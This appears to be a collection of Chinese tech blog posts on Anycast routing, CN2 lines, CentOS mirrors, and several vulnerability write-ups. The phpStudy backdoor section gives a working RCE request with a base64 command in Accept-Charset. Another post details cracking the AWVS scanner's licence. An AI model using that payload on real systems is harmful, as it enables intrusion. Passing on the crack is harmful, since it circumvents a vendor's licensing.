浅析AnyCast网络技术 什么是BGP AnyCast？BGP anycast就是利用一个（多个） as号码在不同的地区广播相同的一个ip段。利用bgp的寻路原则，短的as path 会选成最优路径（bgp寻路原则之n），从而优化了访问速度。其实bgp anycast是不同服务器用了相同的ip地址。阿里的DNS 就是使用了BGP AnyCast“其实bgp anycast是不同服务器用了相同的ip地址。” 言简意赅啊！DNS多点部署IP Anycast+BGP实战分析， 根据这个网页资料，我对BGP anycast 的理解是IP anycast + bgp, ip anycast（ip任播） 本身就是多个主机使用同一个IP地址（该地址即这一组主机的共享单播地址）的一种技术，当发送方发送报文给这个共享单播地址时，报文会根据路由协议路由到这一组主机中离发送方最近的一台，所以这个技术也可以用来做负载均衡。  Anycast技术特点Anycast 指IPV6协议中一个发送方同最近的一组接收方之间的通信。Anycast 的定义是: 当一个单播地址被分配到多于一个的接口上时，发到该接口的报文被网络路由到由路由协议度量的“最近”的目标接口上。 Anycast 允许源结点向一组目标结点中的一个结点发送数据报，而这个结点由路由系统选择，对源结点透明；同时，路由系统选择“最近”的结点为源结点提供服务，从而在一定程度上为源结点提供了更好的服务也减轻了网络负载。正是Anycast 这一通信模式的特点，使它在IP网络中具有了应用前景。首先，分布的服务共享相同的IP地址，同时在IP层进行透明的服务定位，这使得各种网络服务特别是应用层服务具有更强的透明性，比如DNS（Domain Name System，域名系统），在IPv6网络中它可以共享一个熟知的IP地址，用户不需要特殊配置也不用关心访问的是哪一台DNS服务器；其次，路由系统选择了“最近”的服务，缩短了服务响应的时间，同时减轻了网络负载；最后，相同的服务在网络上冗余分布，路由系统可以提供机制选择负载相对轻的带宽相对高的路径来转发报文，这样就给用户带来了两个方面的好处：1) 减弱了分布式拒绝服务攻击(DDoS:Distributed Denial of Service)对用户带来的影响。当 Anycast 组中某一个成员或者几个成员受到攻击时，负责报文转发的路由器可以根据各个组成员的响应时间来决定报文应该转发到哪个成员上，这样受到攻击的成员由于没有响应，所以报文就不会被转发到那里，同时，由于 Anycast 提供的服务访问透明性，组成员也相对较难受到DDoS攻击。2) 减弱了网络拥塞给用户带来的影响。同上面的道理，当 Anycast 的某些组成员处在拥塞的网段时，它的响应时间就较长，报文可以被转发到响应较好的成员那里。 Anycast与Multicast和Unicast是三种通信方式，其中Multicast是指一个发送方同多个接收方之间的通信；Unicast 是指单个发送方和单个接收方之间的通信。Anycast 的用途之一是用一个主机进行组内所有主机路由表的更新工作。IPV6可以自动判断最近的网关，然后将数据包传给此网关。反过来，此主机可以对组内所有的主机进行Anycast，直到完成整个路由表的更新工作。DNSPod Public DNS+的架构是怎么样的？MulticastMulticast 的中文译名是多播，它是指网络中一个节点发出的信息被多个节点收到。与此相对的有Unicast和Broadcast，前者是指一个节点发出的信息只被一个节点收到，后者是指一个节点发出的信息被子网内所有节点收到。实际上，在数据链路层和网络层都有Multicast，通常所说的Multicast大多是针对IP的。这种技术用于多媒体应用、多用户交互(如聊天室)、软件分发等，相比与传统的Unicast可以大大提高效率。在子网内实现 Multicast 较为简单，跨越子网时需要路由器、网关等设备的支持。  UnicastUnicast(单播):在客户端与媒体服务器之间需要建立一个单独的数据通道，从一台服务器送出的每个数据包只能传送给一个客户机,这种传送方式称为单播。指网络中从源向目的地转发单播流量的过程。单播流量地址唯一。每个用户必须分别对媒体服务器发送单独的查询,而媒体服务器必须向每个用户发送所申请的数据包拷贝。这种巨大冗余首先造成服务器沉重的负担，响应需要很长时间，甚至停止播放；管理人员也被迫购买硬件和带宽来保证一定的服务质量。文字单播方式下，只有一个发送方和一个接收方。与之比较，组播是指单个发送方对应一组选定接收方。  科普科普，什么是Anycast技术？在IP地址的世界里，大家熟知的IP地址类型大致有如下几种：Unicast IP单播IP，IP地址和主机是一一对应关系。如下图，红色为数据包发送端，而绿色节点为数据包接收端。当数据包发送给某一个特定IP地址时，全局下仅有一个数据包接收主机。此为Unicast。Multicast IP组播IP，组播IP拥有特定的IP地址段，当数据包发送给此组播IP地址后，组内成员都能收到此数据包的一份拷贝。当数据包发送给某一个特定组播IP地址时，同时存在多个数据包接收端。Broadcast IP广播IP，任意Unicast单播网段中最后一个IP地址。数据包发送给此地址会扩散给全广播域的成员。当数据包发送给广播IP地址时，所有成员均为数据包接收端。而Anycast IP，则是集Multicast和Unicast特性于一身的特殊IP地址类型Anycast中文称为任意播。从宏观上来说，Anycast类似于Multicast，同一种类型的数据流同时存在多个接收者。而从微观上来说，Anycast又有着Unicast的唯一性。每一个单独的IP会话都能够找到唯一的源主机和目标主机。咋看之下很矛盾，其实不然.以DNS请求为例，假设全国人民同一时间发送1百万个DNS请求，他们都是发送给1.1.1.1的Anycast  DNS服务器地址。宏观上来说，所有数据包都送达给了分布在全国各地的DNS服务器。处于各地的DNS服务器分别接收到了一定数量的DNS请求，并作出回复。这体现了Multicast的特性。微观上，某一个特定的DNS请求数据包，一定是发送给了某一台DNS主机，而不是同时又多台DNS主机接收到了此数据包。此为Unicast特性。Anycast 到底牛掰在哪里？在企业网络环境中，Anycast不太常见，其主要应用于大范围的DNS部署，CDN数据缓存，数据中心等。自然而然，很多做企业网络维护的朋友会有疑问。怎么能让互联网的多个主机用同一个IP，这岂不是IP地址冲突了？回答：首先，每一个服务器主机处在不同的地理位置，他们之间不在同一个广播域内。所以把所有主机配置成相同的IP地址并不会引起我们日常所见的IP地址冲突。其次，光靠配置相同的IP地址时不够的，我们还需要借助强大的BGP帮忙。通过BGP，各个站点向Internet宣告相同的Anycast IP地址。自然而然，Internet 就会接收到不同目标路径，但是具有相同IP地址段的prefix。那数据包是如何在这种环境下路由的呢？别急，往下看。为了让大家有更深刻的理解和认识，下面将详细描述Anycast的主要优势和用途：用途一：Load-balancing 负载均衡以及系统冗余性不讲理论了，直接上例子，方便理解。为了阐明使用Anycast和负载均衡，以及冗余性的关系，特举例如下：假设我们现在有三个DNS服务器站点，地点分别在北京，上海，广州。他们服务了全国的DNS解析服务。按照一般的解决方案，为了实现三个DNS服务器负载均衡，可能有人会考虑到使用硬件负载均衡设备，例如常见的F5负载均衡设备等。但若使用硬件负载均衡，随之带来的问题有：1.    网络流量瓶颈，所有有流量都需要先通过负载均衡设备，而硬件设备本身的吞吐量决定了整个网络环境的吞吐量。2.    高昂的硬件成本，为了实现全国的流量负载均衡，试想需要多大吞吐量的硬件设备。硬件吞吐量越大，购买成本就越高。而通过Anycast技术，无需要借助任何第三方负载均衡器，就可以轻松达到负载均衡的效果，同时还提供了冗余和高可靠性。实施方案如下：通过配置三个DNS站点的服务器IP为相同IP，例如1.1.1.1/32。然后通过各个站点的BGP对互联网宣告1.1.1.0/24的网段。（注：为什么要宣告/24，而不是/32? 。因为在Internet里面，为了减小全球Internet路由表尺寸，默认情况下运营商只接受小于等于/8，而大于等于/24的网段宣告进入互联网。）以上步骤完成以后，互联网路由表针对1.1.1.1/24会有三个不同的出口路由器，分别是北京，上海，广州。重点来了，因为所有用户都使用1.1.1.1作为他们的DNS服务器。以东北的用户来说，哪一台DNS服务器会给东北的用户提供解析呢？答案就是：就近原则！让我们来看看数据包在网络中的路由细节：当用户的DNS请求到达运营商的宽带路由器以后，运营商的路由器会根据BGP的选路原则选择到达1.1.1.1的最优路径。例如，在用户宽带运营商和DNS服务器Internet运营商相同的情况下，最终会以IGP metric为关键因素来决定哪个DNS服务器给用户提供服务。而IGP的 Metric某种程度上就是物理距离的代表。如，四川的宽带路由器通过查看BGP路由，发现1.1.1.1出口最优路由是在广州。那么四川用户的DNS数据包将被发送给广州的DNS服务器。同理，东北的用户DNS解析将会被发往北京的DNS服务器，而江南一带的则是上海DNS服务器负责。万一出现故障怎么办？如果三台DNS服务器中某一台出现故障，例如广东DNS服务宕机。BGP协议会立即停止通告此1.1.1.0/24的网段。Internet 路由表将会只有北京和上海的DNS可供选择。此时原广东DNS服务的用户将再次根据“就近原则”选择其他DNS服务器，例如上海DNS。从而达到业务的平滑迁移和服务的高可用性。基于以上的分析，我们很容易就得出如下结论：全国用户最终会根据距离DNS服务器的远近来判断使用哪个DNS服务器做域名解析。从DNS角度来说，正因为不同的地理位置用户会根据就近路由判断，从而选择不同的DNS服务器，最终会使三台DNS服务器达到负载均衡的效果。若其中某一个节点出现故障以后，业务会立即迁移到其他可用的节点上，从而避免网路服务故障。完全不需要人工干预。以上就是Anycast在负载均衡中的用途说明。用途二：防范DDOS攻击相信很多在运营商工作的朋友都非常讨厌DDOS攻击。当DDOS发生时，10G或100Gbps的流量突然蜂拥而来，占用运营商核心MPLS网路带宽不说，这种洪泛攻击会给客户网络造成短时间的瘫痪。造成的损失极大。在阐述Anycast防范DDOS攻击细节之前，让我们先来看看DDOS是如何产生的。以NTP协议为例，NTP协议是client-server模式，客户发起NTP时间查询申请，服务器响应NTP查询。看似正常的NTP数据流量有时候及其容易被玩坏。假设某个黑客控制了成千上万的僵尸主机，这些僵尸主机纷纷伪造如下数据包并发送给全球NTP服务器：源地址：1.2.3.4 （伪造源地址为 被攻击者的IP地址）目标地址：全球各个NTP服务器地址。（越多越好）当全世界各地的NTP服务器收到此查询以后，它会把查询结果发送回给真正的受害者1.2.3.4。这时IP地址为1.2.3.4 的受害者收到全世界的NTP服务器发过来的数据包时，其有限的带宽链路就很容易产生拥塞并造成服务中断。假设这些僵尸不只是发送一次虚假数据包，而是上万次。那么受害者接收到的NTP回复数据包量将如下：虚假数据包发送数量 x 全世界NTP服务器的数量= 最终DDOS攻击的流量。Anycast如何防范DDOS攻击？好了，铺垫完成以后，回到正题。Anycast如何防范DDOS攻击？DDOS攻击最关键一点，是需要把所有地理位置分散的小流量最终汇集到一个点。从而形成涛涛洪水。正所谓以彼之道，还施彼身。在Anycast环境下，由于多个地理位置不同的主机同时使用同一个IP地址。正因为如此，DDOS流量在穿越运营商路由器时，路由器会根据地理位置远近把数据包路由到距离源地址最近的受害者主机站点。从而分散掉整个DDOS流量。还是以上述NTP协议DDOS为例。假设IP为1.2.3.4的受害者恰巧布局了Anycast协议。其服务器分布在全国各地。当DDOS来临时，不同的NTP服务器根据路由选择，把流量发送到距离NTP服务器最近的受害者服务器上。最终，原本10Gbps-100Gbps的汇总流量被各个目标服务器以1Gbps不足的DDOS攻击消化掉。DDOS流量最终被每一个Anycast 主机分散掉了。总结今天我们一起研究了什么是Anycast，以及Anycast的妙用。正如开头所说，Anycast并不是一个新技术，可谓是旧瓶装新酒。但是通过结合BGP协议，变相提高了Anycast的使用广度和深度。最后，针对Anycast 做如下总结：优点：Anycast可以零成本实现负载均衡，无视流量大小。Anycast是天然的DDOS防御措施，体现了大事化小，小事化了的解决方法。部署Anycast可以获得设备的高冗余性和可用性。Anycast适用于无连接的UDP，以及有连接的TCP协议。缺点：Anycast严重依赖于BGP的选路原则，在整个Internet网络拓扑复杂的情况下，会导致次优路由选择。

电信CN2网络 玩VPS的同学们，肯定都听说过电信的CN2网络。什么是CN2？CN2全称为中国电信下一代承载网，英文Chinatelecom Next Carrier Network，缩写为CNCN，进一步缩写为CN2。所以，CN2只跟电信用户有关。移动和联通，没啥关系。。。中国电信三种网络线路的对比提到CN2，还得提到老一代的163骨干网，而CN2本身又分为两种类型，所以，在这里把这三者逐一对比介绍下：普通163: 就是电信用户最经常遇到的电信线路，等级最低，省级/出国/国际骨干节点都以202.97开头，全程没有59.43开头的CN2节点。在出国线路上表现为拥堵，丢包率高。CN2 GT: CN2里属于Global Transit的产品(又名GIS-Global Internet Service)，在CN2里等级低，省级/出国节点为202.97开头，国际骨干节点有2～4个59.43开头的CN2节点。在出国线路上拥堵程度一般，相对于163骨干网的稍强，相比CN2 GIA，性价比也较高。CN2 GIA: CN2里属于Global Internet Access的产品，等级最高，省级/出国/国际骨干节点都以59.43开头，全程没有202.97开头的节点。在出国线路上表现最好，很少拥堵，理论上速度最快最稳定，当然，价格也相对CN2 GT偏高。怎么判断线路类型通常VPS的公司或者各大AFF man都会提供测试ip地址，拿到测试ip地址后，可以通过mtr命令或者traceroute命令，根据跟踪网络包的路由节点，来判断具体的网络线路的类型。普通163骨干网HOST: test.example.org Loss% Snt Last Avg Best Wrst StDev1.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.02.|-- 173.82.157.121 0.0% 10 0.5 6.6 0.3 62.0 19.53.|-- 208.64.231.6 0.0% 10 0.4 6.8 0.3 38.6 12.54.|-- 129.250.205.121 0.0% 10 20.7 2.6 0.3 20.7 6.45.|-- 218.30.53.73 0.0% 10 1.6 2.7 1.0 5.1 1.36.|-- 202.97.49.105 0.0% 10 2.2 3.0 1.2 4.6 0.97.|-- 202.97.51.137 0.0% 10 165.5 164.7 163.1 167.0 1.28.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.09.|-- 202.97.94.141 0.0% 10 166.1 169.5 166.1 172.8 2.210.|-- 202.97.85.206 60.0% 10 167.3 242.9 167.3 469.6 151.111.|-- 180.140.104.86 70.0% 10 182.7 182.8 182.6 183.0 0.012.|-- 220.173.118.215 10.0% 10 193.3 209.7 191.0 276.8 26.1整个路由节点信息中，全程没有59.43开头的CN2节点，并且一些省级或者出口的节点是以202.97开头的，因此我们可以判断承载网络就是163普通线路。CN2 GT线路HOST: test.example.org Loss% Snt Last Avg Best Wrst StDev1.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.02.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.03.|-- 192.254.84.153 0.0% 10 1.6 2.4 0.7 3.9 0.84.|-- 192.254.81.5 0.0% 10 4.3 3.2 1.1 4.7 1.15.|-- 218.30.48.241 0.0% 10 1.2 1.3 1.2 1.4 0.06.|-- 59.43.182.102 0.0% 10 150.8 156.5 145.0 214.7 22.47.|-- 59.43.244.138 0.0% 10 145.2 145.3 145.2 146.0 0.08.|-- 202.97.94.113 0.0% 10 147.0 149.9 146.9 169.1 6.99.|-- 202.97.94.137 0.0% 10 151.4 152.5 147.8 157.7 3.710.|-- 183.59.5.233 0.0% 10 147.6 147.8 147.6 147.9 0.011.|-- 183.2.253.22 0.0% 10 150.2 150.5 150.1 152.0 0.512.|-- 183.61.192.202 0.0% 10 153.4 155.1 153.3 168.9 4.813.|-- 113.96.127.6 0.0% 10 151.1 153.0 151.0 165.5 4.514.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.015.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.016.|-- 183.2.247.150 10.0% 10 150.9 150.9 150.8 151.1 0.0在路由节点中，出现了59.43开头的节点，在一些出口节点上，仍然通过了202.97开头的节点，可以判断为CN2 GT线路。CN2 GIA线路Start: Tue Oct 17 22:42:25 2017HOST: test.example.org Loss% Snt Last Avg Best Wrst StDev1.|-- 103.86.xx.1 0.0% 10 28.0 13.4 3.1 42.0 12.22.|-- 118.184.22.61 0.0% 10 1.0 1.2 0.8 2.3 0.33.|-- 59.43.182.102 0.0% 10 144.7 147.8 144.6 176.0 9.94.|-- 59.43.187.109 80.0% 10 146.2 146.2 146.2 146.2 0.05.|-- 59.43.130.145 0.0% 10 146.6 154.1 146.6 212.0 20.66.|-- 59.43.19.138 0.0% 10 164.0 164.1 164.0 164.1 0.07.|-- 59.43.134.54 0.0% 10 178.0 173.4 167.0 194.4 8.68.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.09.|-- 220.173.118.215 10.0% 10 209.5 201.4 190.1 229.3 14.6从路由路径可以看出，路由的跳数相对较少，并且经过了59.43..开头的节点，而并没有经过202.97开头的节点，此承载网络类型为CN2 GIA线路。不喜欢搞命令行，这里还有一个https://www.ipip.net/traceroute.php在线的测试地址，可以直接在网页上测试路由，也挺直观的。机房的地理位置同等重要这个道理很简单的，香港和台湾的机房，如果线路不饶的话，其普通163线路的ip，也是非常快的。洛杉矶CN2 GIT的线路，ping值大概是150ms。但是香港的机房，线路可以低到30ms左右。单向CN2与双向CN2在测试网络线时，最好同时测试去程和回程的线路。这样可以分辨是双向CN2，还是单向CN2。双向毫无疑问会更贵一些。去程的测试很简单，直接本地mtr ip地址即可。回程测试，需要登陆服务器，然后在服务器上mtr 本地的一些ip地址。一些商家可能会在骗钱后调整线路经常会看到一些无良商家，打着优质线路然后价格低廉的旗号骗了一帮善良的老百姓。要么跑路，要么等资源卖的差不多了，就悄悄的把优质的CN2线路调整为普通的163线路。对于这种情况，一个比较好的策略是买VPS的时候月付。像谷歌和亚马逊这种大公司，也有因为政策的原因调整线路的可能性，所以大家还是小心点吧。中国电信CN2不仅仅只有洛杉矶欧洲也有一些机房，拥有双向CN2的线路。不是只有洛杉矶有哦，这里提醒大家一下。

Centos更换阿里YUM源 像是某些物理服务器，或者小产商的VPS服务器，哪怕是自己的虚拟机，Centos默认的yum源基本上都是国外的源，国内访问，基本上一个字慢！而解决方法就是换源咯，国内也是很多镜像站，清华大学，阿里云，腾讯云，网易。更换方法都是大同小异，不过站长更喜欢阿里云。。。1.复制备份:cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup2.下载:wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo如果你很不幸报错醒醒，你纯净系统没wget工具的，要么用curl。。。当然你要坚持，我也没话讲 yum -y install wget 去吧。丢一份完整的表参考参考去CentOS 5wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-5.repocurl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-5.repoCentOS 6wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repocurl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repoCentOS 7wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repocurl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo3、添加EPELCentOS 6wget -O /etc/yum.repos.d/epel-6.repo http://mirrors.aliyun.com/repo/epel-6.repoCentOS 7wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo4、清理缓存并生成新的缓存yum clean allyum makecache然后就OJBK了科普一下EPEL (Extra Packages for Enterprise Linux，企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目，为RHEL/CentOS提供他们默认不提供的软件包。这个源兼容RHEL及像CentOS和Scientific Linux这样的衍生版本。我们可以很容易地通过yum命令从EPEL源上获取上万个在CentOS自带源上没有的软件。EPEL提供的软件包大多基于其对应的Fedora软件包，不会与企业版Linux发行版本的软件发生冲突或替换其文件。RHEL/CentOS系统有许多第三方源，比较流行的比如RpmForge，RpmFusion，EPEL，Remi等等。然而需要引起注意的是，如果系统添加了多个第三方源，可能会因此产生冲突——一个软件包可以从多个源获取，一些源会替换系统的基础软件包，从而可能会产生意想不到的错误。已知的就有Rpmforge与EPEL会产生冲突。对于这些问题我们建议，调整源的优先权或者有选择性的安装源，但是这需要复杂的操作，如果你不确定如何操作，我们推荐你只安装一个第三方源。

phpStudy远程RCE漏洞复现 介绍phpStudy是国内一款免费的PHP环境集成包，集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer等多款软件，无需配置即可直接安装使用，有着近百万PHP用户。近日被爆出phpStudy存在RCE后门，并通过验证复现。软件作者声明：phpstudy 2016版PHP5.4存在后门。实际测试官网下载phpstudy2018版php-5.2.17和php-5.4.45也同样存在后门据传漏洞形成原因是官网被入侵后植入后门，嫌疑人已被抓。咱也不敢说咱也不敢问是个古老的问题了，我也不知道为什么今天出来水了一篇。。。手动检查后门代码存在于\ext\php_xmlrpc.dll模块中，phpStudy2016和phpStudy2018自带的php-5.2.17、php-5.4.45phpStudy2016路径php\php-5.2.17\ext\php_xmlrpc.dllphp\php-5.4.45\ext\php_xmlrpc.dllphpStudy2018路径PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dllPHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl用记事本打开此文件查找@eval，文件存在@eval(%s(‘%s’))证明漏洞存在工具检查并修复官方发布了：phpstudy 安全自检修复程序，可用于2016 2018版本的安全检测与修复，下载该文件一键检查与修复。浏览器访问靶机地址：http://192.168.1.91/浏览器设置本地代理并且打开BurpSuiteFree抓包POC：GET / HTTP/1.1Host: 192.168.43.99User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:69.0) Gecko/20100101 Firefox/69.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,deflateAccept-Charset:”commandbase64 string”Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0CTRL + R把请求包转发到中继器模块Accept-Charset:”command base64 string”中执行命令经过了的的Base64编码加密：执行语句指令：system(‘whoami’);BASE64 编码后：c3lzdGVtKCd3aG9hbWknKTs =替换进去Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs=还要把“ ”中的前面的空格删除。Accept-Encoding: gzip, deflatedeflate(6)构造好执行语句为WHOAMI的POC如下：GET / HTTP/1.1Host: 192.168.1.91User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;rv:69.0) Gecko/20100101 Firefox/69.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,deflateAccept-Charset: c3lzdGVtKCd3aG9hbWknKTs=Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0聪明的你应该知道要干嘛了。咳咳咳，不过还是别干坏事，自己玩玩就好了。这篇古老的复现就到这里了。。。

在Centos7下安装AWVS扫描器 先来介绍一下什么是AWVSAcunetix Web Vulnerability Scanner（简称AWVS）是一款知名的网络漏洞扫描工具，它通过网络爬虫测试你的网站安全，检测流行安全漏洞下载链接 https://pan.baidu.com/s/106aWHcxooFin8lbp5sI0ZA提取码：aayz安装首先得先update一下，确保软件都是最新的yum update发现自己的centos 没得命令补全 yum -y install bash-completion 解决解决依赖的问题yum install libXrender libXext libXcursor libXfixes libXcomposite libXrandr libXdamage libXtst libXi cups-libs dbus-glib libXrandr libXcursor libXinerama cairo cairo-gobject pango libXScrnSaver libatk-bridge-2.0.so.0 -y安装chmod 777 acunetix_trial.sh ##就是你刚刚下载的压缩包解压后里面的sudo ./acunetix_trial.sh当你进行安装的时候，会蹦出一堆东西，其中包括阅读它的使用协议，回车到输入yes，然后输入一系列内容比如邮箱什么的，是之后登陆的账号。直到安装完成。然后可能有些依赖还是找不到… Linux的尿性。。。。得靠厉害的您慢慢调试了。。运行 yum provides libgdk-3.so.0找到为 gtk3-3.22.30-3.el7.i686 包含yum install gtk3-3.22.30-3.el7.i686其他同理，之后一路安装下去。安装过程就不贴图了修改端口默认的awvs的端口是13443，有点太显眼了，我们改改端口vi /home/acunetix/.acunetix_trial/wvs.ini将server.port=13443改为server.port=17433AND，，，，，重启启动重启启动，，，systemctl start acunetix_trial ##启动systemctl stop acunetix_trial ##停止systemctl restart acunetix_trial ##重启安装好之后重启下。 。。。然后说到了一个重点，这是款收费软件，咱的“优良传统”不就是破解 吗？咳咳。说跑题了。当然了， 有能力的还是支持正版！！！ 毕竟作者也费心。。。注意要把破解补丁复制v_190515149/scanner/目录下，其中v_190515149是你的awvs安装完成后根据版本生成的目录。unzip patch_awvs.zip ##报错的先安装unzip。。。cd /home/acunetix/.acunetix_trial/v_190515149/scanner/cp ~/patch_awvs ../patch_awvs破解成功会显示找不到证书？Can not Locate license file？？？？有点问题放置路径错了证书没生成看了眼路径是对的，那就是证书的问题了。strings /usr/lib64/libstdc++.so.6 | grep GLIBCXX需要包含 GLIBCXX_3.4.20，否则安装awvs时无法生成证书文件，破解补丁自然会失败，我这最高也就19找找看本地有没有20版本的find / -name libstdc++.so.6*没得。。。。。先看看 libstdc++.so.6yum provides libstdc++.so.6yum install libstdc++-4.8.5-11.el7.i686从路径/usr/local/lib64拷贝文件libstdc++.so.6.0.20（或者更高版本，例如libstdc++.so.6.0.24）到路径/usr/lib64删除/usr/lib64原来的软连接libstdc++.so.6 #强烈建议删除之前先备份一份在路径/usr/lib64，打开终端命令行，输入ln命令，重新建立软连接 ln libstdc++.so.6.0.20 libstdc++.so.6重新执行strings /usr/lib64/libstdc++.so.6 | grep GLIBCXX但是这边已经安装了这个 libstdc++-4.8.5-11.el7.i686 版本，然后还是没得办法 最后去找了下 libstdc++.so.6.0.26，跟上面操作差不多mv /usr/lib64/libstdc++.so.6 libstdc++.so.6.bk #备份一下cp libstdc++.so.6 /usr/lib64/sudo ln -s /usr/lib64/libstdc++.so.6.0.26 /usr/lib64/libstdc++.so.6之后再去访问下 activate 看到 License Key 里面有东西了，再去运行下./patch_awvsNICE~~~保护license不失效执行完成patch之后，尽快执行如下的命令，不然license会被修改的。chattr +i /home/acunetix/.acunetix_trial/data/license/license_info.jsonawvs破解后14天失效问题解决参考大佬的博客,通过日志的查看和命令行模式的调试/home/acunetix/.acunetix_trial/v_190515149/scanner/wvsc /scan http://xxx.com /profile xss /satus /log logfile.txt发现是license过期了。参考下t00ls上的帖子《Linux AWVS 12完美破解！！！》好多大佬说，破解完成后用段时间就失效了，扫不了了。只要删除wa_data.dat文件即可。亲测可用！！！rm /home/acunetix/.acunetix_trial/data/license/wa_data.dat在安装完成之后，删除wa_data.bat文件，确实可用。但是10几天之后，awvs会自动再次生成wa_data.bat文件，查看报错提示是license error。解决：rm /home/acunetix/.acunetix_trial/data/license/wa_data.dattouch /home/acunetix/.acunetix_trial/data/license/wa_data.datchattr +i /home/acunetix/.acunetix_trial/data/license/wa_data.dat意思是到期之后将wa_data.dat文件删除，然后手动创建一个wa_data.dat，最后锁定wa_data.dat文件不可写入。如果还是被改了，试试 chattr +i 之后文件自己还能不能改试一下-i之后，vi编辑是否可以编辑并保存；关闭selinux，试一试。话题再一次回到那个尴尬的/lib64/libstdc++.so.6: version `GLIBCXX_3.4.20’ not found解决方法是升级libstdc++.。。。。。yum provides libstdc++.so.6Loaded plugins: fastestmirror, langpacks Loading mirror speeds from cached hostfile * base: centos.ustc.edu.cn * extras: centos.ustc.edu.cn * updates: centos.ustc.edu.cn libstdc++-4.8.5-11.el7.i686 : GNU Standard C++ Library Repo : base Matched from: Provides : libstdc++.so.6yum install libstdc++-4.8.5-11.el7.i6861、从路径/usr/local/lib64拷贝文件libstdc++.so.6.0.20（或者更高版本，例如libstdc++.so.6.0.24）到路径/usr/lib642、删除/usr/lib64原来的软连接libstdc++.so.6 #强烈建议删除之前先备份一份3、在路径/usr/lib64，打开终端命令行，输入ln命令，重新建立软连接ln libstdc++.so.6.0.20 libstdc++.so.64、重新执行strings /usr/lib64/libstdc++.so.6 | grep GLIBCXX真神奇！吾醉了。。。

CVE-2020-1938复现 在开头，我们先了解一下 Tomcat AJP Connector 是什么 Tomcat Connector 是 Tomcat 与外部连接的通道，它使得 Catalina 能够接收来自外部的请求，传递给对应的 Web 应用程序处理，并返回请求的响应结果    默认情况下，Tomcat 配置了两个 Connector，它们分别是 HTTP Connector 和 AJP Connector：    HTTP Connector：用于处理 HTTP 协议的请求（HTTP/1.1），默认监听地址为 0.0.0.0:8080    AJP Connector：用于处理 AJP 协议的请求（AJP/1.3），默认监听地址为 0.0.0.0:8009    HTTP Connector 就是用来提供我们经常用到的 HTTP Web 服务。而 AJP Connector，它使用的是 AJP 协议（Apache Jserv Protocol），AJP 协议可以理解为 HTTP 协议的二进制性能优化版本，它能降低 HTTP 请求的处理成本，因此主要在需要集群、反向代理的场景被使用。那么Ghostcat 漏洞有哪些危害通过 Ghostcat 漏洞，攻击者可以读取 Tomcat所有 webapp目录下的任意文件。    此外如果网站应用提供文件上传的功能，攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件（上传的文件本身可以是任意类型的文件，比如图片、纯文本文件等），然后利用 Ghostcat 漏洞进行文件包含，从而达到代码执行的危害受影响版本Apache Tomcat 9.x < 9.0.31Apache Tomcat 8.x < 8.5.51Apache Tomcat 7.x < 7.0.100Apache Tomcat 6.x要想利用，总要有个环境吧，那么那些环境呢？对于处在漏洞影响版本范围内的 Tomcat 而言，若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下，即存在被 Ghostcat 漏洞利用的风险    注意 Tomcat AJP Connector 默认配置下即为开启状态，且监听在 0.0.0.0:8009 说那么多。。。。先复现吧。。。。安装docker搭建复现环境 docker run -d -p 8080:8080 -p 8090:8090 duonghuuphuc/tomcat-8.5.32 问题来了Ghostcat 漏洞该如何修复或缓解Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。要正确修复此漏洞，首先需要确定您的服务器环境中是否有用到 Tomcat AJP 协议：· 如果未使用集群或反向代理，则基本上可以确定没有用到 AJP；· 如果使用了集群或反向代理，则需要看集群或反代服务器是否与 Tomcat 服务器 AJP 进行通信在线检测地址https://www.chaitin.cn/zh/ghostcat#online_test

CVE-2020-0796验证与修复分析 1、验证下载CVE-2020-0796扫描器，对Windows 10系统进行扫描python3 cve-2020-0796-scanner.py -t 192.168.169.107 默认状态下，检测结果 2、修复打开powershell，设置注册表信息 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force3、复测再次扫描，发现漏洞已经无法检测出来 当将DisableCompression值设置为0，再次检测，仍可检测出漏洞。4、分析根据ADV-200005 安全通告，我们可以得到如下信息，例如影响版本等Description ================ Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client. 